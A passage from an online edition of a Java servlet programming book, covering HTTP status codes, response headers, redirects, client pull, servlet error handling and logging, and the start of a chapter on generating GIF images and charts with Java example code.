The service (server) is temporarily unavailable but should be restored in the future. If the server knows when it will be available again, a Retry-After header may also be supplied.

5.5.1. Setting a Status Code

A servlet can use setStatus() to set a response status code:

public void HttpServletResponse.setStatus(int sc)
public void HttpServletResponse.setStatus(int sc, String sm)

Both of these methods set the HTTP status code to the given value. The code can be specified as a number or with one of the SC_XXX codes defined within Http-ServletResponse. With the single-argument version of the method, the reason phrase is set to the default message for the given status code. The two-argument version allows you to specify an alternate message. Remember, the setStatus() method should be called before your servlet returns any of its response body.

If a servlet sets a status code that indicates an error during the handling of the request, it can call sendError() instead of setStatus():

public void HttpServletResponse.sendError(int sc)
public void HttpServletResponse.sendError(int sc, String sm)

A server may give the sendError() method different treatment than setStatus(). When the two-argument version of the method is used, the status message parameter may be used to set an alternate reason phrase or it may be used directly in the body of the response, depending on the server's implementation.

5.5.2. Improving ViewFile Using Status Codes

So far, we haven't bothered calling any of these methods to set a response's status code. We've simply relied on the fact that the status code defaults to SC_OK. But there are times when a servlet needs to return a response that doesn't have the SC_OK status code--when the response does not contain the requested data. As an example, think back to how the ViewFile servlet in Chapter 4, "Retrieving Information", handled the FileNotFoundException:

// Return the file
try {
  ServletUtils.returnFile(file, out);
}
catch (FileNotFoundException e) {
  out.println("File not found");
}

Without setting a status code, the best this servlet can do is write out an explanation of the problem, ironically sending the explanation as part of a page that is supposed to contain the file's contents. With status codes, however, it can do exactly what Sun's FileServlet does: set the response code to SC_NOT_FOUND to indicate that the requested file was not found and cannot be returned. Here's the improved version:

// Return the file
try {
  ServletUtils.returnFile(file, out);
}
catch (FileNotFoundException e) {
  res.sendError(res.SC_NOT_FOUND);
}

The full effect of a sendError() call is server dependent, but for the Java Web Server this call generates the server's own "404 Not Found" page, complete with Duke's picture (as shown in Figure 5-2). Note that this page is indistinguishable from every other Java Web Server "404 Not Found" page. The call to sendError() also results in a note in the server's access log that the file could not be found.

Figure 5-2. The Java Web Server "404 Not Found" page

Previous | Home | Next
5.4. HTML Generation | Book Index | 5.6. HTTP Headers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


HTTP Headers (Java Servlet Programming)

 Java Servlet Programming Search this book

5.6. HTTP Headers

A servlet can set HTTP headers to provide extra information about its response. As we said in Chapter 4, "Retrieving Information", a full discussion of all the possible HTTP 1.0 and HTTP 1.1 headers is beyond the scope of this book. Table 5-2 lists the HTTP headers that are most often set by servlets as a part of a response.

Table 5-2. HTTP Response Headers

Header | Usage
Cache-Control | Specifies any special treatment a caching system should give to this document. The most common values are no-cache (to indicate this document should not be cached), no-store (to indicate this document should not be cached or even stored by a proxy server, usually due to its sensitive contents), and max-age=seconds (to indicate how long before the document should be considered stale). This header was introduced in HTTP 1.1.
Pragma | The HTTP 1.0 equivalent of Cache-control, with no-cache as its only possible value.
Connection | Used to indicate whether the server is willing to maintain an open (persistent) connection to the client. If so, its value is set to keep-alive. If not, its value is set to close. Most web servers handle this header on behalf of their servlets, automatically setting its value to keep-alive when a servlet sets its Content-Length header.
Retry-After | Specifies a time when the server can again handle requests, used with the SC_SERVICE_UNAVAILABLE status code. Its value is either an int that represents the number of seconds or a date string that represents an actual time.
Expires | Specifies a time when the document may change or when its information will become invalid. It implies that it is unlikely the document will change before that time.
Location | Specifies a new location of a document, usually used with the status codes SC_CREATED, SC_MOVED_PERMANENTLY, and SC_MOVED_TEMPORARILY. Its value must be a fully qualified URL (including "http://").
WWW-Authenticate | Specifies the authorization scheme and the realm of authorization required by the client to access the requested URL. Used with the status code SC_UNAUTHORIZED.
Content-Encoding | Specifies the scheme used to encode the response body. Possible values are gzip (or x-gzip) and compress (or x-compress). Multiple encodings should be represented as a comma-separated list in the order in which the encodings were applied to the data.

5.6.1. Setting an HTTP Header

The HttpServletResponse class provides a number of methods to assist servlets in setting HTTP response headers. Use setHeader() to set the value of a header:

public void HttpServletResponse.setHeader(String name, String value)

This method sets the value of the named header as a String. The name is case insensitive, as it is for all these methods. If the header had already been set, the new value overwrites the previous one. Headers of all types can be set with this method.

If you need to specify a time stamp for a header, you can use setDateHeader() :

public void HttpServletResponse.setDateHeader(String name, long date)

This method sets the value of the named header to a particular date and time. The method accepts the date value as a long that represents the number of milliseconds since the epoch (midnight, January 1, 1970 GMT). If the header has already been set, the new value overwrites the previous one.

Finally, you can use setIntHeader() to specify an integer value for a header:

public void HttpServletResponse.setIntHeader(String name, int value)

This method sets the value of the named header as an int. If the header had already been set, the new value overwrites the previous one.

The containsHeader() method provides a way to check if a header already exists:

public boolean HttpServletResponse.containsHeader(String name)

This method returns true if the named header has already been set, false if not.

In addition, the HTML 3.2 specification defines an alternate way to set header values using the <META HTTP-EQUIV> tag inside the HTML page itself:

<META HTTP-EQUIV="name" CONTENT="value">

This tag must be sent as part of the <HEAD> section of the HTML page. This technique does not provide any special benefit to servlets; it was developed for use with static documents, which do not have access to their own headers.

5.6.2. Redirecting a Request

One of the useful things a servlet can do using status codes and headers is redirect a request. This is done by sending instructions for the client to use another URL in the response. Redirection is generally used when a document moves (to send the client to the new location), for load balancing (so one URL can distribute the load to several different machines), or for simple randomization (choosing a destination at random).

Example 5-7 shows a servlet that performs a random redirect, sending a client to a random site selected from its site list. Depending on the site list, a servlet like this could have many uses. As it stands now, it's just a jump-off point to a selection of cool servlet sites. With a site list containing advertising images, it can be used to select the next ad banner.

Example 5-7. Random redirector

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class SiteSelector extends HttpServlet {

  Vector sites = new Vector();
  Random random = new Random();

  public void init(ServletConfig config) throws ServletException {
    super.init(config);
    sites.addElement("http://www.oreilly.com/catalog/jservlet");
    sites.addElement("http://www.servlets.com");
    sites.addElement("http://jserv.java.sun.com");
    sites.addElement("http://www.servletcentral.com");
  }

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    int siteIndex = Math.abs(random.nextInt()) % sites.size();
    String site = (String)sites.elementAt(siteIndex);

    res.setStatus(res.SC_MOVED_TEMPORARILY);
    res.setHeader("Location", site);
  }
}

The actual redirection happens in two lines:

res.setStatus(res.SC_MOVED_TEMPORARILY);
res.setHeader("Location", site);

The first line sets the status code to indicate a redirection is to take place, while the second line gives the new location. To guarantee they will work, you must call these methods before you send any output. Remember, the HTTP protocol sends status codes and headers before the content body. Also, the new site must be given as an absolute URL (for example, http://server:port/path/file.html). Anything less than that may confuse the client.

These two lines can be simplified to one using the sendRedirect() convenience method:

public void HttpServletResponse.sendRedirect(String location) throws IOException

This method redirects the response to the specified location, automatically setting the status code and Location header. For our example, the two lines become simply:

res.sendRedirect(site);

5.6.3. Client Pull

Client pull is similar to redirection, with one major difference: the browser actually displays the content from the first page and waits some specified amount of time before retrieving and displaying the content from the next page. It's called client pull because the client is responsible for pulling the content from the next page.

Why is this useful? For two reasons. First, the content from the first page can explain to the client that the requested page has moved before the next page is automatically loaded. Second, pages can be retrieved in sequence, making it possible to present a slow-motion page animation.

Client pull information is sent to the client using the Refresh HTTP header. This header's value specifies the number of seconds to display the page before pulling the next one, and it optionally includes a URL string that specifies the URL from which to pull. If no URL is given, the same URL is used. Here's a call to setHeader() that tells the client to reload this same servlet after showing its current content for three seconds:

setHeader("Refresh", "3");

And here's a call that tells the client to display Netscape's home page after the three seconds:

setHeader("Refresh", "3; URL=http://home.netscape.com");

Example 5-8 shows a servlet that uses client pull to display the current time, updated every 10 seconds.

Example 5-8. The current time, kept current

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class ClientPull extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    res.setHeader("Refresh", "10");
    out.println(new Date().toString());
  }
}

This is an example of a text-based animation--we'll look at graphical animations in the next chapter. Note that the Refresh header is nonrepeating. It is not a directive to load the document repeatedly. For this example, however, the Refresh header is specified on each retrieval, creating a continuous display.

The use of client pull to retrieve a second document is shown in Example 5-9. This servlet redirects requests for one host to another host, giving an explanation to the client before the redirection.

Example 5-9. An explained host change

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class ClientPullMove extends HttpServlet {

  static final String NEW_HOST = "http://www.oreilly.com";

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    String newLocation = NEW_HOST + req.getRequestURI();

    res.setHeader("Refresh", "10; URL=" + newLocation);

    out.println("The requested URI has been moved to a different host.<BR>");
    out.println("Its new location is " + newLocation + "<BR>");
    out.println("Your browser will take you there in 10 seconds.");
  }
}

This servlet generates the new location from the requested URI, which allows it to redirect any requests made to the old server. With the Java Web Server, this servlet could be configured to handle every request, to gradually transition clients to the new location.

Previous | Home | Next
5.5. Status Codes | Book Index | 5.7. When Things Go Wrong
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


When Things Go Wrong (Java Servlet Programming)

 Java Servlet Programming Search this book

5.7. When Things Go Wrong

All right, let's face it. Sometimes things go wrong. Sometimes the dog bites, and sometimes the bee stings. There are any number of possible causes: bad parameters, missing resources, and (gasp!) actual bugs. The point here is that a servlet has to be prepared for problems, both expected and unexpected. There are two points of concern when things go wrong:

  • Limiting damage to the server

  • Properly informing the client

Because servlets are written in Java, the potential damage they can cause to their server is greatly minimized. A server can safely embed servlets (even within its process), just as a web browser can safely embed downloaded applets. This safety is built on Java's security features, including the use of protected memory, exception handling, and security managers. Java's memory protection guarantees that servlets cannot accidentally (or intentionally) access the server's internals. Java's exception handling lets a server catch every exception raised by a servlet. Even if a servlet accidentally divides by zero or calls a method on a null object, the server can continue to function. Java's security manager mechanism provides a way for servers to place untrusted servlets in a sandbox, limiting their abilities and keeping them from intentionally causing problems.

You should be aware that trusted servlets executing outside a security manager's sandbox are given abilities that could potentially cause damage to the server. For example, a servlet can overwrite the server's file space or even call System.exit(). It is also true that a trusted servlet should never cause damage except by accident, and it's hard to accidentally call System.exit(). Still, if it's a concern, even trusted servlets can be (and often are) run inside a fairly lenient but sanity-checking security manager.

Properly describing a problem to the client cannot be handled by Java language technology alone. There are many things to consider:

How much to tell the client?

Should the servlet send a generic status code error page, a prose explanation of the problem, or (in the case of a thrown exception) a detailed stack trace? What if the servlet is supposed to return nontextual content, such as an image?

How to record the problem?

Should it be saved to a file, written to the server log, sent to the client, or ignored?

How to recover?

Can the same servlet instance handle subsequent requests? Or is the servlet corrupted, meaning that it needs to be reloaded?

The answers to these questions depend on the servlet and its intended use, and they should be addressed for each servlet you write on a case-by-case basis. How you handle errors is up to you and should be based on the level of reliability and robustness required for your servlet. What we'll look at next is an overview of the servlet error-handling mechanisms that you can use to implement whatever policy you select.

5.7.1. Status Codes

The simplest (and arguably best) way for a servlet to report an error is to use the sendError() method to set the appropriate 400 series or 500 series status code. For example, when the servlet is asked to return a file that does not exist, it can return SC_NOT_FOUND. When it is asked to do something beyond its capabilities, it can return SC_NOT_IMPLEMENTED. And when the entirely unexpected happens, it can return SC_INTERNAL_SERVER_ERROR.

By using sendError() to set the status code, a servlet provides the server an opportunity to give the response special treatment. For example, some servers, such as the Java Web Server, replace the servlet's response body with a server-specific page that explains the error. If the error is such that a servlet ought to provide its own explanation to the client in the response body, it can set the status code with setStatus() and send the appropriate body--which could be text based, a generated image, or whatever is appropriate.

A servlet must be careful to catch and handle any errors before it sends any part of its response body. As you probably recall (because we've mentioned it several times), HTTP specifies that the status code and HTTP headers must be sent before the response body. Once you've sent even one character of a response body, it may be too late to change your status code or your HTTP headers. The easy way to guarantee you don't find yourself in this "too late" situation is to send your content all at once when the servlet is done processing, using an ByteArrayOutputStream buffer or HTML generation package, as shown earlier in this chapter.

5.7.2. Logging

Servlets have the ability to write their actions and their errors to a log file using the log() method:

public void ServletContext.log(String msg)
public void ServletContext.log(Exception e, String msg)

The single-argument method writes the given message to a servlet log, which is usually an event log file. The two-argument version writes the given message and exception's stack trace to a servlet log. Notice the nonstandard placement of the optional Exception parameter as the first parameter instead of the last for this method. For both methods, the output format and location of the log are server-specific.

The GenericServlet class also provides a log() method:

public void GenericServlet.log(String msg)

This is another version of the ServletContext method, moved to GenericServlet for convenience. This method allows a servlet to call simply:

log(msg);

to write to the servlet log. Note, however, that GenericServlet does not provide the two-argument version of log(). The absence of this method is probably an oversight, to be rectified in a future release. For now, a servlet can perform the equivalent by calling:

getServletContext().log(e, msg);

The log() method aids debugging by providing a way to track a servlet's actions. It also offers a way to save a complete description of any errors encountered by the servlet. The description can be the same as the one given to the client, or it can be more exhaustive and detailed.

Now we can go back and improve ViewFile further, so that it uses log() to record on the server when requested files do not exist, while returning a simple "404 Not Found" page to the client:

// Return the file
try {
  ServletUtils.returnFile(file, out);
}
catch (FileNotFoundException e) {
  log("Could not find file: " + e.getMessage());
  res.sendError(res.SC_NOT_FOUND);
}

For more complicated errors, a servlet can log the complete stack trace, as shown here:

// Return the file
try {
  ServletUtils.returnFile(file, out);
}
catch (FileNotFoundException e) {
  log("Could not find file: " + e.getMessage());
  res.sendError(res.SC_NOT_FOUND);
}
catch (IOException e) {
  getServletContext().log(e, "Problem sending file");
  res.sendError(res.SC._INTERNAL_SERVER_ERROR);
}

5.7.3. Reporting

In addition to logging errors and exceptions for the server administrator, during development it's often convenient to print a full description of the problem along with a stack trace. Unfortunately, an exception cannot return its stack trace as a String--it can only print its stack trace to a PrintStream or PrintWriter. To retrieve a stack trace as a String, we have to jump through a few hoops. We need to let the Exception print to a special PrintWriter built around a ByteArrayOutputStream. That ByteArrayOutputStream can catch the output and convert it to a String. The com.oreilly.servlet.ServletUtils class has a getStackTraceAsString() method that does just this:

public static String getStackTraceAsString(Exception e) {
  ByteArrayOutputStream bytes = new ByteArrayOutputStream();
  PrintWriter writer = new PrintWriter(bytes, true);
  e.printStackTrace(writer);
  return bytes.toString();
}

Here's how ViewFile can provide information that includes an IOException stack trace:

// Return the file
try {
  ServletUtils.returnFile(file, out);
}
catch (FileNotFoundException e) {
  log("Could not find file: " + e.getMessage());
  res.sendError(res.SC_NOT_FOUND);
}
catch (IOException e) {
  getServletContext().log(e, "Problem sending file");
  res.sendError(res.SC_INTERNAL_SERVER_ERROR,
                ServletUtils.getStackTraceAsString(e));
}

The output for a sample exception is shown in Figure 5-3.

Figure 5-3. Keeping the client well informed

5.7.4. Exceptions

As we said before, any exception that is thrown but not caught by a servlet is caught by its server. How the server handles the exception is server-dependent: it may pass the client the message and the stack trace, or it may not. It may automatically log the exception, or it may not. It may even call destroy() on the servlet and reload it, or it may not.

Servlets designed and developed to run with a particular server can optimize for that server's behavior. A servlet designed to interoperate across several servers cannot expect any particular exception handling on the part of the server. If such a servlet requires special exception handling, it must catch its own exceptions and handle them accordingly.

There are some types of exceptions a servlet has no choice but to catch itself. A servlet can propagate to its server only those exceptions that subclass IOException, ServletException, or RuntimeException. The reason has to do with method signatures. The service() method of Servlet declares in its throws clause that it throws IOException and ServletException exceptions. For it (or the doGet() and doPost() methods it calls) to throw and not catch anything else causes a compile time error. The RuntimeException is a special case exception that never needs to be declared in a throws clause. A common example is a NullPointerException.

The init() and destroy() methods have their own signatures as well. The init() method declares that it throws only ServletException exceptions, and destroy() declares that it throws no exceptions.

ServletException is a subclass of java.lang.Exception that is specific to servlets--the class is defined in the javax.servlet package. This exception is thrown to indicate a general servlet problem. It has the same constructors as java.lang.Exception: one that takes no arguments and one that takes a single message string. Servers catching this exception may handle it any way they see fit.

The javax.servlet package defines one subclass of ServletException, UnavailableException, although you can, of course, add your own. This exception indicates a servlet is unavailable, either temporarily or permanently. Servers (services) that catch an UnavailableException are expected to behave as described in the Servlet API documentation:

Servlets may report this exception at any time, and the network service running the servlet should behave appropriately. There are two types of unavailability, and sophisticated services will deal with these differently:

Permanent unavailability. The servlet will not be able to handle client requests until some administrative action is taken to correct a servlet problem. For example, the servlet might be misconfigured, or the state of the servlet may be corrupted. Well written servlets will log both the error and the corrective action which an administrator must perform to let the servlet become available.

Temporary unavailability. The servlet cannot handle requests at this moment due to a system-wide problem. For example, a third-tier server might not be accessible, or there may be insufficient memory or disk storage to handle requests. The problem may be self-correcting, such as those due to excessive load, or corrective action may need to be taken by an administrator.

Network services may safely treat both types of exceptions as "permanent," but good treatment of temporary unavailability leads to more robust network services. Specifically, requests to the servlet might be blocked (or otherwise deferred) for a servlet-suggested amount of time, rather than being rejected until the service itself restarts.

UnavailableException has two constructors:

javax.servlet.UnavailableException(Servlet servlet, String msg)
javax.servlet.UnavailableException(int seconds, Servlet servlet, String msg)

The two-argument constructor creates a new exception that indicates the given servlet is permanently unavailable, with an explanation given by msg. The three-argument version creates a new exception that indicates the given servlet is temporarily unavailable, with an explanation given by msg. The duration of its unavailability is given by seconds. This time is only an estimate. If no estimate can be made, a nonpositive value may be used. Notice the nonstandard placement of the optional seconds parameter as the first parameter instead of the last. This may be changed in an upcoming release. UnavailableException provides the isPermanent(), getServlet(), and getUnavailableSeconds() methods to retrieve information about an exception.

5.7.5. Knowing When No One's Listening

Sometimes clients hang up on servlets. Sure, it's rude, but it happens. Sometimes the client makes a mistake and goes to the wrong page. Sometimes the servlet takes too long to respond. Remember, all the while a servlet is preparing its response, the user is being tempted by the browser's big, glowing Stop button that is just begging to be pushed. You may be wondering, just what happens to the servlet once that button is pushed?

Unfortunately, a servlet is not given any immediate indication that the user has pressed the Stop button--there is no interrupt that tells it to stop processing. The servlet discovers the client has stopped the request only when it tries to send output to the nonexistent client, at which point an error condition occurs.

A servlet that sends information using a ServletOutputStream sees an IOException when it tries to write output. For servers that buffer their output, the IOException is thrown when the buffer fills up and its contents are flushed.

Because an IOException may be thrown any time a servlet tries to output, a well-written servlet frees its resources in a finally block. (The finally block is an optional part of a try/catch/finally construct. It comes after zero or more catch blocks, and its code is executed once regardless of how the code in the try block executes.) Here's a version of the returnFile() method from the View-File servlet that uses a finally block to guarantee the closure of its FileInputStream:

void returnFile(String filename, OutputStream out)
                         throws FileNotFoundException, IOException {
  FileInputStream fis = null;
  try {
    fis = new FileInputStream(filename);
    byte[] buf = new byte[4 * 1024];  // 4K buffer
    int bytesRead;
    while ((bytesRead = fis.read(buf)) != -1) {
      out.write(buf, 0, bytesRead);
    }
  }
  finally {
    if (fis != null) fis.close();
  }
}

The addition of a finally block does not change the fact that this method propagates all exceptions to its caller, but it does guarantee that, before that propagation, the method gets a chance to close the open FileInputStream.

A servlet sending character data using a PrintWriter doesn't get an IOException when it tries to write output, because the methods of PrintWriter never throw exceptions. Instead, a servlet that sends character data has to call the checkError() method of PrintWriter. This method flushes the output and returns a boolean that indicates if there was a problem writing to the underlying OutputStream. It returns true if the client has stopped the request.

A long-running servlet should call checkError() regularly to determine if it can halt processing early. If there hasn't been any output since the last check, a servlet can send filler content. For example:

out.println("<H2>Here's the solution for your differential equation:</H2>"); if (out.checkError()) return;

// Preliminary calculation here
out.print(" "); // filler content, extra whitespace is ignored in HTML
if (out.checkError()) return;

// Additional calculation here

It's important to note that a server is not required to throw an IOException or set the error flag of the PrinWriter after the client disconnects. A server may elect to let the response run to completion with its output ignored. Generally this does not cause a problem, but it does mean that a servlet running inside such a server should always have a set end point and should not be written to continuously loop until the user hits Stop.

Previous | Home | Next
5.6. HTTP Headers | Book Index | 6. Sending Multimedia Content
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Sending Multimedia Content (Java Servlet Programming)

 Java Servlet Programming Search this book

Chapter 6. Sending Multimedia Content

Contents:

Images
Compressed Content
Server Push

Until now, every servlet we've written has returned a standard HTML page. The web consists of more than HTML, though, so in this chapter we'll look at some of the more interesting things a servlet can return. We begin with a look at why you'd want to return different MIME types and how to do it. The most common use of a different MIME type is for returning an image graphic generated by a servlet (or even by an applet embedded inside the servlet!). The chapter also explores when and how to send a compressed response and examines using multipart responses to implement server push.

6.1. Images

People are visually oriented--they like to see, not just read, their information. Consequently, it's nearly impossible to find a web site that doesn't use images in some way, and those you do find tend to look unprofessional. To cite the well-worn cliche (translated into programmer-speak), "An image is worth a thousand words."

Luckily, it's relatively simple for a servlet to send an image as its response. In fact, we've already seen a servlet that does just this: the ViewFile servlet from Chapter 4, "Retrieving Information". As you may recall, this servlet can return any file under the server's document root. When the file happens to be an image file, it detects that fact with the getMimeType() method and sets its response's content type with setContentType() before sending the raw bytes to the client.

This technique requires that we already have the needed image files saved on disk, which isn't always the case. Often, a servlet must generate or manipulate an image before sending it to the client. Imagine, for example, a web page that contains an image of an analog clock that displays the current time. Sure, someone could save 720 images (60 minutes times 12 hours) to disk and use a servlet to dispatch the appropriate one. But that someone isn't me, and it shouldn't be you. Instead, the wise servlet programmer writes a servlet that dynamically generates the image of the clock face and its hands--or as a variant, a servlet that loads an image of the clock face and adds just the hands. And, of course, the frugal programmer also has the servlet cache the image (for about a minute) to save server cycles.

There are many other reasons you might want a servlet to return an image. By generating images, a servlet can display things such as an up-to-the-minute stock chart, the current score for a baseball game (complete with icons representing the runners on base), or a graphical representation of the Cokes left in the Coke machine. By manipulating preexisting images, a servlet can do even more. It can draw on top of them, change their color, size, or appearance, or combine several images into one.

6.1.1. Image Generation

Suppose you have an image as raw pixel data that you want to send to someone. How do you do it? Let's assume it's a true-color, 24-bit image (3 bytes per pixel) and that it's 100 pixels tall and 100 pixels wide. You could take the obvious approach and send it one pixel at a time, in a stream of 30,000 bytes. But is that enough? How does the receiver know what to do with the 30,000 bytes he received? The answer is that he doesn't. You also need to say that you are sending raw, true-color pixel values, that you're beginning in the upper left corner, that you're sending row by row, and that each row is 100 pixels wide. Yikes! And what if you decide to send fewer bytes by using compression? You have to say what kind of compression you are using, so the receiver can decompress the image. Suddenly this has become a complicated problem.

Fortunately this is a problem that has been solved, and solved several different ways. Each image format (GIF, JPEG, TIFF, etc.) represents one solution. Each image format defines a standard way to encode an image so that it can later be decoded for viewing or manipulation. Each encoding technique has certain advantages and limitations. For example, the compression used for GIF encoding excels at handling computer-generated images, but the GIF format is limited to just 256 colors. The compression used for JPEG encoding, on the other hand, works best on photo-realistic images that contain millions of colors, but it works so well because it uses "lossy" compression that can blur the photo's details.

Understanding image encoding helps you understand how servlets handle images. A servlet like ViewFile can return a preexisting image by sending its encoded representation unmodified to the client--the browser decodes the image for viewing. But a servlet that generates or modifies an image must construct an internal representation of that image, manipulate it, and then encode it, before sending it to the client.

6.1.1.1. A "Hello World" image

Example 6-1 gives a simple example of a servlet that generates and returns a GIF image. The graphic says "Hello World!", as shown in Figure 6-1.

Example 6-1. Hello World graphics

import java.io.*;
import java.awt.*;
import javax.servlet.*;
import javax.servlet.http.*;

import Acme.JPM.Encoders.GifEncoder;

public class HelloWorldGraphics extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    ServletOutputStream out = res.getOutputStream();  // binary output!

    Frame frame = null;
    Graphics g = null;

    try {
      // Create an unshown frame
      frame = new Frame();
      frame.addNotify();

      // Get a graphics region, using the Frame
      Image image = frame.createImage(400, 60);
      g = image.getGraphics();

      // Draw "Hello World!" to the off-screen graphics context
      g.setFont(new Font("Serif", Font.ITALIC, 48));
      g.drawString("Hello World!", 10, 50);

      // Encode the off-screen image into a GIF and send it to the client
      res.setContentType("image/gif");
      GifEncoder encoder = new GifEncoder(image, out);
      encoder.encode();
    }
    finally {
      // Clean up resources
      if (g != null) g.dispose();
      if (frame != null) frame.removeNotify();
    }
  }
}

Figure 6-1. Hello World graphics

Although this servlet uses the java.awt package, it never actually displays a window on the server's display. Nor does it display a window on the client's display. It performs all its work in an off-screen graphics context and lets the browser display the image. The strategy is as follows: create an off-screen image, get its graphics context, draw to the graphics context, and then encode the resulting image for transmission to the client.

Obtaining an off-screen image involves jumping through several hoops. In Java, an image is represented by the java.awt.Image class. Unfortunately, an Image object cannot be instantiated directly through a constructor. It must be obtained through a factory method like the createImage() method of Component or the getImage() method of Toolkit. Because we're creating a new image, we use createImage(). Note that before a component can create an image, its native peer must already exist. Thus, to create our Image we must create a Frame, create the frame's peer with a call to addNotify() , and then use the frame to create our Image.[1] Once we have an image, we draw onto it using its graphics context, which can be retrieved with a call to the getGraphics() method of Image. In this example, we just draw a simple string.

[1] For web servers running on Unix systems, the frame's native peer has to be created inside an X server. Thus, for optimal performance, make sure the DISPLAY environment variable (which specifies the X server to use) is unset or set to a local X server. Also make sure the web server has been granted access to the X server, which may require the use of xhost or xauth.

After drawing into the graphics context, we call setContentType() to set the MIME type to "image/gif" since we're going to use the GIF encoding. For the examples in this chapter, we use a GIF encoder written by Jef Poskanzer. It's well written and freely available with source from http://www.acme.com.[2] To encode the image, we create a GifEncoder object, passing it the image object and the ServletOutputStream for the servlet. When we call encode() on the GifEncoder object, the image is encoded and sent to the client.

[2] Note that the LZW compression algorithm used for GIF encoding is protected by Unisys and IBM patents which, according to the Free Software Foundation, make it impossible to have free software that generates the GIF format. For more information, see http://www.fsf.org/philosophy/gif.html. Of course, a servlet can encode its Image into any image format. For web content, JPEG exists as the most likely alternative to GIF. There are JPEG encoders in JDK 1.2 and commercial products such as the JIMI product (Java Image Management Interface), available from Activated Intelligence at http://www.activated.com.

After sending the image, the servlet does what all well-behaved servlets should do: it releases its graphical resources. These would be reclaimed automatically during garbage collection, but releasing them immediately helps on systems with limited resources. The code to release the resources is placed in a finally block to guarantee its execution, even when the servlet throws an exception.

6.1.1.2. A dynamically generated chart

Now let's look at a servlet that generates a more interesting image. Example 6-2 creates a bar chart that compares apples to oranges, with regard to their annual consumption. Figure 6-2 shows the results. There's little need for this chart to be dynamically generated, but it lets us get the point across without too much code. Picture in your mind's eye, if you will, that the servlet is charting up-to-the-minute stock values or the server's recent load.

Example 6-2. A chart comparing apples and oranges

import java.awt.*;
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

import Acme.JPM.Encoders.GifEncoder;

import javachart.chart.*;  // from Visual Engineering

public class SimpleChart extends HttpServlet {

  static final int WIDTH = 450;
  static final int HEIGHT = 320;

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException ,IOException {
    ServletOutputStream out = res.getOutputStream();

    Frame frame = null;
    Graphics g = null;

    try {
      // Create a simple chart
      BarChart chart = new BarChart("Apples and Oranges");

      // Give it a title
      chart.getBackground().setTitleFont(new Font("Serif", Font.PLAIN, 24));
      chart.getBackground().setTitleString("Comparing Apples and Oranges");

      // Show, place, and customize its legend
      chart.setLegendVisible(true);
      chart.getLegend().setLlX(0.4);  // normalized from lower left
      chart.getLegend().setLlY(0.75); // normalized from lower left
      chart.getLegend().setIconHeight(0.04);
      chart.getLegend().setIconWidth(0.04);
      chart.getLegend().setIconGap(0.02);
      chart.getLegend().setVerticalLayout(false);

      // Give it its data and labels
      double[] appleData = {950, 1005, 1210, 1165, 1255};
      chart.addDataSet("Apples", appleData);

      double[] orangeData = {1435, 1650, 1555, 1440, 1595};
      chart.addDataSet("Oranges", orangeData);

      String[] labels = {"1993", "1994", "1995", "1996", "1997"};
      chart.getXAxis().addLabels(labels);

      // Color apples red and oranges orange
      chart.getDatasets()[0].getGc().setFillColor(Color.red);
      chart.getDatasets()[1].getGc().setFillColor(Color.orange);

      // Name the axes
      chart.getXAxis().setTitleString("Year");
      chart.getYAxis().setTitleString("Tons Consumed");

      // Size it appropriately
      chart.resize(WIDTH, HEIGHT);

      // Create an unshown frame
      frame = new Frame();
      frame.addNotify();

      // Get a graphics region of appropriate size, using the Frame
      Image image = frame.createImage(WIDTH, HEIGHT);
      g = image.getGraphics();

      // Ask the chart to draw itself to the off screen graphics context
      chart.drawGraph(g);

      // Encode and return what it painted
      res.setContentType("image/gif");
      GifEncoder encoder = new GifEncoder(image, out);
      encoder.encode();
    }
    finally {
      // Clean up resources
      if (g != null) g.dispose();
      if (frame != null) frame.removeNotify();
    }
  }
}

Figure 6-2. A chart comparing apples and oranges

The basics are the same: create an off-screen image and get its graphics context, draw to the graphics context, and then encode the image for transmission to the client. The difference is that this servlet constructs a BarChart object to do the drawing. There are more than a dozen charting packages available in Java. You can find several showcased at http://www.gamelan.com. The BarChart class from this example came from Visual Engineering's JavaChart package, available at http://www.ve.com/javachart. It's a commercial product, but for readers of this book they have granted free permission to use the portion of the API presented above. The JavaChart package also includes a set of free chart-generating applets that we will use later in this chapter.

6.1.2. Image Composition

So far, we've drawn our graphics onto empty images. In this section, we discuss how to take preexisting images and either draw on top of them or combine them to make conglomerate images. We also examine error handling in servlets that return images.

6.1.2.1. Drawing over an image

Sometimes it's useful for a servlet to draw on top of an existing image. A good example is a building locator servlet that knows where every employee sits. When queried for a specific employee, it can draw a big red dot over that employee's office.

One deceptively obvious technique for drawing over a preexisting image is to retrieve the Image with Toolkit.getDefaultToolkit().getImage(imagename), get its graphics context with a call to the getGraphics() method of Image, and then use the returned graphics context to draw on top of the image. Unfortunately, it isn't quite that easy. The reason is that you cannot use getGraphics() unless the image was created with the createImage() method of Component. With the AWT, you always need to have a native peer in the background doing the actual graphics rendering.

Here's what you have to do instead: retrieve the preexisting image via the Toolkit.getDefaultToolkit().getImage(imagename) method and then tell it to draw itself into another graphics context created with the createImage() method of Component, as shown in the previous two examples. Now you can use that graphics context to draw on top of the original image.

Example 6-3 clarifies this technique with an example. It's a servlet that writes "CONFIDENTIAL" over every image it returns. The image name is passed to the servlet as extra path information. Some example output is shown in Figure 6-3.

Example 6-3. Drawing over an image to mark it confidential

import java.awt.*;
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

import Acme.JPM.Encoders.GifEncoder;

public class Confidentializer extends HttpServlet {

  Frame frame = null;
  Graphics g = null;

  public void init(ServletConfig config) throws ServletException {
    super.init(config);
    // Construct a reusable unshown frame
    frame = new Frame();
    frame.addNotify();
  }

